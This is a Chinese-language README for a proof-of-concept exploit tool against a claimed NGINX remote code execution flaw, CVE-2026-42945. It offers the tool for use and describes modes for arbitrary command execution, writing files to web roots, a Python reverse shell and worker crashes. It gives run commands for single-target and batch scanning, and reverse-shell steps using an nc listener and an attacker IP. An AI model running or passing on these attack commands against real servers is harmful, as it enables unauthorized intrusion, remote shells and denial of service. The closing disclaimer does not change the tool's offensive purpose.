NGINX Rift RCE 漏洞利用(CVE-2026-42945)来自 @DepthFirstDisclosures
一个专业的概念验证(PoC)工具,用于研究和识别 NGINX Rift 漏洞,这是 ngx_http_rewrite_module 中一个严重的基于堆的缓冲区溢出漏洞。
漏洞概述
- CVE 编号:CVE-2026-42945
- 别名:NGINX Rift
- 严重程度:严重(CVSS 9.2)
- 受影响版本:NGINX 0.6.27 至 1.30.0
- 根本原因:在双遍重写引擎中使用未命名的 PCRE 捕获($1,$2)以及包含 ? 的替换字符串时,出现大小不匹配错误。
- 影响:未认证的远程代码执行(RCE)或拒绝服务(DoS)。
功能特点
- 多模式支持:通过单个 URL 或 .txt 文件中的批量列表进行测试。
- 多种利用方法:
- id:执行 id 命令(默认)。
- sleep:基于时间的验证(适用于盲 RCE)。
- write:尝试将文件写入常见的 Web 根目录。
- shell:发送基于 Python 的反向 shell。
- crash:触发简单的工作进程崩溃(DoS)。
- 彩色编码界面:为易受攻击(绿色)、安全(红色)和调试(黄色/蓝色)状态提供清晰的视觉指示。
- 详细日志记录:为研究人员提供详细的套接字级交互信息。
使用方法
1. 单目标扫描
python3 poc.py --url http://target.com --method id
2. 多目标批量扫描
创建一个名为 targets.txt 的文件,每行一个 URL:
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
然后运行:
python3 poc.py --list targets.txt --method sleep
3. 自定义命令与详细模式
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. 反向 Shell
首先启动你的监听器:nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
理解结果
- [+] 易受攻击(绿色):利用触发了内存损坏特征。如果使用 sleep 方法,请检查响应时间是否与休眠时长匹配。
- [-] 目标不易受攻击(红色):利用无法使用提供的内存候选地址触发崩溃。
- [DEBUG](黄色/蓝色):关于堆喷射和候选地址的背景信息。
要求与限制
- Python 3.x:无需外部库(使用标准 socket 和 argparse)。
- ASLR:此 PoC 使用静态内存地址。在启用 ASLR 的系统上,除非提供内存泄漏,否则该利用很可能导致拒绝服务(DoS)而非 RCE。
- 加固:出站过滤(防火墙)可能会阻止 curl 或 shell 方法将数据发送回你。使用 sleep 方法可获得最可靠的确认。
免责声明
此工具仅用于教育目的和授权安全审计。作者不对因使用此脚本而造成的任何误用或损害负责。在对任何基础设施进行测试前,请务必获得明确许可。